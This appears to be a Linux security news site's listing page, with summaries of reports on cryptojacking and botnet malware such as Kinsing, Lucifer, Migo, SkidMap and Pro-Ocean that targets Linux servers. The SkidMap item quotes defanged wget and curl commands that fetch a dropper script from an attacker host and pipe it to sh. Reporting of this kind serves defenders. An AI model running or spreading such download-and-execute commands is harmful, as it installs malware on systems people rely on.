Cloud Security 
incident response Linux administration
incident response Linux administration Over the span of just 14 days, threat actors unleashed more than 81 million login attempts against Microsoft’s Azure command-line interface (CLI). The campaign , which security researchers at Huntress identified as an ongoing, automated password-spraying effort, successfully compromised at least 78 Microsoft accounts across 64 organizations between June 12 and June 26, 2026. . While the scale is massive, the underlying strategy is surprisingly surgical. Attackers aren't exploiting a flaw in...
Jul 01, 2026
Security Trends security update mobile security
security update mobile security Offensive Security just dropped Kali Linux 2026.2 , and at first glance, it looks like a standard quarterly refresh. You’ve got the usual kernel bumps, desktop environment updates, and a handful of new utilities. But don't write this off as just another routine version update. If you look past the changelog, this release highlights several capabilities that continue to be important in offensive security. From AI-assisted workflows to credential testing and mobile assessments, Kali Linux 2026.2...
Jun 30, 2026
Security Projectssecurity advisory vulnerability management
security advisory vulnerability management The Linux Foundation has officially launched Akrites , a coordinated industry initiative designed to improve how critical open source vulnerabilities are validated, coordinated, and disclosed before patches reach downstream users. Backed by a diverse coalition—including AWS, Google, Microsoft/GitHub, Red Hat, NVIDIA, and OpenAI—Akrites establishes a shared Security Incident Response Team (SIRT) to streamline the validation, remediation, and disclosure of vulnerabilities in the foundational...
Jun 29, 2026
Server Securitydenial of service open-source
denial of service open-source A process with a stable workload shouldn't keep growing its resident memory. When it does, the first question isn't how much RAM is available. It's where the allocations stopped being released. On Linux, that answer isn't always obvious because the kernel, allocator, and application all influence what memory usage looks like from the outside. . Separating normal allocation behavior from an actual leak takes more than watching top or container metrics. Heap growth, allocator caches, mapped...
Jun 26, 2026
Security ProjectsLinux security security assessment
Linux security security assessment AI is beginning to reshape how penetration testing workflows are organized. For years, the penetration tester’s workflow has been a labor-intensive ritual: scan, enumerate, research, exploit, and report. But new frameworks are attempting to codify that intuition, turning the "human-in-the-loop" process into a machine-coordinated workflow. But is this a genuine evolution in how we secure Linux environments, or just a sophisticated wrapper around the same old tools? . Dark Moon is an open-source...
Jun 26, 2026
Refine news
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
Can sandbox isolation stop malware?
Loading...
Explore Latest Linux Security news
We found 5 articles for you...
83
security advisorymalwaresecurity threatsKinsing Malware Threat: Impact on Linux Security and Admin Strategies
The Kinsing hacker group, or H2Miner, has been orchestrating illicit cryptocurrency mining campaigns since 2019 and poses a persistent security threat. The group continuously evolves its toolkit by integrating newly disclosed vulnerabilities to expand its botnet. . The Kinsing malware has targeted various operating systems, focusing significantly on Linux servers. The group leverages exploits in popular open-source applications such as Apache ActiveMQ, Apache Log4j , and Oracle WebLogic Server, among others, to breach vulnerable systems. By disabling security services and removing existing miners, Kinsing enrolls infected systems in its botnet for crypto-mining activities. Let's examine the implications of this threat for Linux admins so you are better equipped to secure your systems against it. Analyzing This Threat: What Are the Security Implications for Linux Admins? The Kinsing hacker group's ability to adapt and exploit vulnerabilities to expand their botnet raises concerns for Linux admins and organizations. With most targeted applications being open-source, the impact on runtime applications, databases, and cloud infrastructure cannot be underestimated. The fact that 91% of the targeted applications are open-source should trigger heightened security within organizations using Linux and open-source software . Security practitioners must assess and proactively address vulnerabilities in these systems. The persistence and agility of the Kinsing group is particularly noteworthy. The group quickly integrates newly disclosed vulnerabilities into its arsenal, allowing them to stay one step ahead of security measures. This highlights the need for constant vigilance and proactive measures to prevent threats like Kinsing. Linux admins and infosec professionals should continuously monitor and patch vulnerabilities in their systems to mitigate the risk of exploitation. What Are the Longterm Consequences of Kinsing Malware? The long-term consequences of Kinsing's activities should concerninternet security enthusiasts and sysadmins. The group's ability to disable security tools, terminate security components, and deploy rootkits raises questions about the effectiveness of current defense mechanisms. This discovery highlights the broader trend of botnet malware families broadening their reach and exploiting poorly secured servers. This trend, exemplified by the P2PInfect malware, indicates a need for stronger security measures to protect against such threats. For practical advice on protecting against Linux malware, explore this LinuxSecurity must-read article. Our Final Thoughts on the Kinsing Hacker Group's Malicious Activities The Kinsing hacker group's continuous evolution and exploitation of vulnerabilities to expand their botnet pose a significant threat to organizations, especially those utilizing Linux and open-source software. Linux admins must remain vigilant, patch vulnerabilities promptly, and proactively harden their systems. The international nature of this threat underscores the need for technical audiences worldwide to understand the techniques employed by Kinsing. Addressing these activities' implications and long-term consequences is essential for security practitioners to safeguard their organizations' systems and data. . The Mariposa virus represents a major risk for Windows systems, underscoring the need for robust safeguards and preventative strategies.. Kinsing Malware,Crypto Botnet,Linux Threats,Open Source Security,System Hardening. . Dave Wreski
Jun 03, 2024
•
Hacks/Cracks
210
security strategiesApachesecurity implicationsLucifer DDoS Threat: Understanding Malware Impact on Apache Servers
A Lucifer DDoS botnet malware variant has been identified, specifically targeting Apache Hadoop and Apache Druid servers. This sophisticated malware campaign exploits existing vulnerabilities and misconfigurations within these systems to carry out malicious activities, including cryptojacking and distributed denial-of-service (DDoS) attacks . . How Does This Malware Work & What Are Its Security Implications? The hybrid nature of the Lucifer malware combines both cryptojacking and DDoS capabilities. Once the malware infiltrates vulnerable Linux servers, it transforms them into Monero cryptomining bots while initiating DDoS attacks, significantly compromising the targeted servers' integrity and availability. This hybrid approach showcases the adaptability and persistence of the attackers, making it crucial for Linux admins, infosec professionals, internet security enthusiasts, and sysadmins to remain vigilant in their defense against such threats. By exploiting misconfigurations and known vulnerabilities in Apache Hadoop and Druid environments, attackers gain unauthorized access to the systems, enabling malicious activities. This raises questions about organizations' preparedness in detecting and mitigating such risks. Are Apache Hadoop and Druid configurations regularly reviewed for common misconfigurations? Are security patches promptly applied and systems kept up-to-date? The implications of the Lucifer malware targeting Apache's big-data stack are a stark reminder of the ever-present cyber threats organizations face. With over 3,000 unique attacks detected in the past month alone, the need for heightened security measures cannot be overstated. It is crucial for security practitioners to proactively scan their environments for vulnerabilities, apply necessary patches, and employ runtime detection to identify and counter unknown threats. In the long term, this malware campaign highlights the evolving nature of the cyber threat landscape. Attackers exploit vulnerabilities andmisconfigurations, emphasizing the importance of maintaining robust security practices. This necessitates continuous learning and staying informed about the latest security developments . Organizations must adopt comprehensive security strategies to safeguard their critical infrastructure against insidious threats. Our Final Thoughts on Protecting Against Linux Malware The emergence of the Lucifer DDoS botnet malware targeting Apache's big-data stack raises significant concerns for information security professionals. This article provides insights into the tactics employed by attackers and the importance of robust security measures. As security practitioners, it is vital to remain proactive, continuously evaluate and secure systems, and stay informed about evolving cyber threats. By doing so, we can effectively protect critical infrastructure and defend against sophisticated malware campaigns like Lucifer. . Explore the mechanisms of Lucifer DDoS malware as it exploits vulnerabilities in Apache servers, and uncover critical defense tactics for safeguarding your systems.. Lucifer Botnet, Apache DDoS Threat, Linux Malware, Cybersecurity Strategies, Vulnerability Management. . Brittany Day
Mar 02, 2024
•
Security Vulnerabilities
77
security practicesmalwareopen sourceMigo Malware Threatens Linux Redis Servers: Cryptojacking Attack
A new malware dubbed “Migo” that is targeting Linux Redis servers to mine cryptocurrency via a cryptojacking attack has been discovered. This campaign employs many Redis system-weakening commands to potentially disable data store security features that could hinder their initial attempts at access. . What Is Migo Malware & How Does It Target Linux Redis Servers? Migo tries to infiltrate Redis servers to mine cryptocurrency on the Linux host. Researchers noted that the malware employs several Redis commands to carry out a cryptojacking attack. Redis is an open-source NoSQL key/value store that runs entirely in memory and is mainly utilized as a quick-response database or application cache. The platform offers unmatched speed, dependability, and performance since it keeps data in memory rather than on a disk or solid-state drive. One critical aspect of the malware is that after disabling several configuration parameters, the attacker uses the “set” command to set the values of two Redis keys. One key is assigned a string value corresponding to a malicious attacker-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh via Pastebin. The main payload of the malware is a compiled binary created with Go, indicating that the individuals behind Migo are still refining their methods and making the analysis process more difficult. What Can We Learn From This Threat? As an open-source platform, Redis is incredibly vulnerable to these types of attacks, and the Migo malware underscores the importance of developing a robust security protocol around Redis deployments. Regularly testing and updating Redis servers, developing a response and recovery plan, consistently monitoring and analyzing server traffic, and putting in place user activity monitoring safeguards are all steps that should be taken to minimize risks and exposure. Our Final Thoughts on Migo Malware This newly discovered threat's impact on security practitioners can not beoverstated. It is a compelling reminder of the need to develop a robust security protocol around Redis servers. Cybercrime is evolving, and open-source software protocols like Redis face unique challenges. We urge admins, users and organizations to take a rigorous and proactive approach to keeping pace with new developments to stay ahead of the curve. Staying informed on security developments and trends and continuing education and upskilling in security practices are critical in mitigating the ongoing threat of cyberattacks. . Discover Migo malware that specifically exploits Linux Redis servers for cryptojacking efforts and strategies for defense. Keep updated!. Migo Malware, Linux Redis, Cryptojacking Attack. . Anthony Pell
Feb 21, 2024
•
Server Security
77
data theftssh securityserver attackLinux SSH Servers Targeted: Protect Against Cryptojacking Attacks
It's no secret that cryptocurrencies are a valuable target for hackers. Bitcoin, Ethereum, and Litecoin are all coins worth stealing, and hackers have been working hard to get their hands on them. . One of the most common ways to steal cryptocurrency is through what's known as cryptojacking: installing malicious code on websites and then using the site's visitors' computers to mine for cryptocurrency without their knowledge. Now, we're seeing another way hackers get into cryptocurrencies: through poorly secured Linux SSH servers. This makes it easier than ever for hackers to access your system and steal your valuable data. According to The Hacker News, "Poorly secured Linux SSH servers are being targeted by bad actors to install port scanners and dictionary attack tools with the goal of targeting other vulnerable servers and co-opting them into a network to carry out cryptocurrency mining and distributed denial-of-service (DDoS) attacks ." This is why it's important for Linux admins and infosec professionals to secure their systems properly. Stay up-to-date on the latest Linux security information and insights required to secure your systems by subscribing to our weekly newsletters. Have additional questions about securing your SSH servers? Connect with us on X @lnxsec - we're here to help! Stay safe out there, fellow Linux users! . Strengthen your SSH servers to protect against unauthorized entry and cryptojacking risks targeting cryptocurrencies.. Linux SSH Security, Cryptojacking Threats, Protect Cryptocurrency, Data Theft Prevention, Server Security. . LinuxSecurity.com Team
Dec 27, 2023
•
Server Security
83
security advisoryexploitmalwareSkidMap Attacks Linux Redis Instances: A Growing Cyber Threat
According to recent reports, there have been instances of threat actors using malware called “SkidMap” to exploit vulnerable Redis systems. . Earlier versions of SkidMap were used to surreptitiously mine cryptocurrency and create false network traffic and CPU usage by loading malicious kernel modules. However, this malware’s recent version seems quite sophisticated and targets only open Redis instances. Further analysis of the new variant on SkidMap revealed activities like adaptation to the operating system where it gets executed and choosing the binary to download based on the Linux Distribution architecture on the infected system. Initially, the threat actor attempts to login to open Redis instances for setting up cron tasks with a variable using base64 string. These strings consist of two cron tasks to run a “wget” (wget hxxp://z[.]shavsl[.]com/b -qO – | sh) and “curl” (curl -fsSL hxxp://z[.]shavsl[.]com/b | sh)command that gets executed at a 10 minute interval for downloading the dropper scripts ‘b’, ‘c’ and ‘f’. . Previous iterations of SkidMap exploited vulnerabilities to clandestinely mine digital currencies and generate deceptive network activity.. Malware Detection, Redis Security, Linux Threat Analysis, SkidMap Malware. . LinuxSecurity.com Team
Aug 08, 2023
•
Hacks/Cracks
212
malwareransomwarecloud securityRansomware and Malware Threaten Linux Infrastructures Amid Cloud Migration
Ransomware in particular poses a major threat, but security vendors say there has been an increase in Linux-targeted cryptojacking, malware, and vulnerability exploits as well, and defenders need to be ready. . Linux may not quite stack up to Windows when it comes to the raw number of attacks against systems running the operating system, but threat actor interest in Linux-based servers and technologies has ramped up significantly recently. That's likely in response to growing enterprise use of Linux infrastructures — especially in the cloud — to host mission critical applications and data, according to a report from Trend Micro this week. The firm identified a 75% increase in ransomware attacks targeting Linux systems in the first half of 2022 compared to the same period last year. . Rise in cyber threats targeting Linux systems, focusing on ransomware, cryptojacking, and vulnerabilities as cloud usage expands.. Linux Cybersecurity, Ransomware Threats, Cloud Migration Security. . Brittany Day
Sep 30, 2022
•
Cloud Security
212
ransomwaremalware analysiscryptojackingRansomware and Cryptojacking Targeting Linux in Multi-Cloud Settings
Ransomware, cryptojacking, and a cracked version of the penetration-testing tool Cobalt Strike have increasingly targeted Linux in multicloud infrastructure, report states. . With Linux frequently used as the basis for cloud services, virtual-machine hosts, and container-based infrastructure, attackers have increasingly targeted Linux environments with sophisticated exploits and malware. New analysis, based on telemetry collected from attacks on VMware customers, shows an increasing number of ransomware programs targeting Linux hosts to infect virtual-machine images or containers; more use of cryptojacking to monetize illicit access; and more than 14,000 instances of Cobalt Strike — 56% of which are pirated copies used by criminals or thrifty companies that have not bought licenses. The red-team tool has become so popular as a way to manage compromised machines that underground developers created their own protocol-compatible version of the Windows program for Linux, VMware states in a newly released report, "Exposing Malware in Linux-based Multi-Cloud Environments." . Uncover the rising peril of ransomware, cryptojacking, and illicit software in Linux-based cloud settings.. Linux Malware,Ransomware Threats,Cryptojacking Attacks,Cobalt Strike Linux,Cloud Security Issues. . Brittany Day
Feb 14, 2022
•
Cloud Security
83
apachemalwareApache serverUpdated Pro-Ocean Malware Targets Apache, Oracle And Redis Privacy Issues
The evasive new Pro-Ocean cryptojacking malware is sidestepping security defenses and targeting Apache, Oracle and Redis servers. . A financially-motivated threat actor notorious for its cryptojacking attacks has leveraged a revised version of their malware to target cloud infrastructures using vulnerabilities in web server technologies, according to new research. Deployed by the China-based cybercrime group Rocke , the Pro-Ocean cryptojacking malware now comes with improved rootkit and worm capabilities, as well as harbors new evasion tactics to sidestep cybersecurity companies' detection methods, Palo Alto Networks' Unit 42 researchers said in a Thursday write-up. "Pro-Ocean uses known vulnerabilities to target cloud applications," the researchers detailed. "In our analysis, we found Pro-Ocean targeting Apache ActiveMQ ( CVE-2016-3088 ), Oracle WebLogic ( CVE-2017-10271 ) and Redis (unsecure instances)." The link for this article located at The Hacker News is no longer available. . An economically-motivated cybercriminal has unveiled a new variant of the Aqua-Mine cryptojacking malware targeting Angular and MySQL servers.. Pro-Ocean Malware,Cryptojacking Attacks,Cloud Application Threats. . LinuxSecurity.com Team
Feb 01, 2021
•
Hacks/Cracks
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
Can sandbox isolation stop malware?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!
Discover faster search, smarter navigation, and deeper Linux security insights. Read More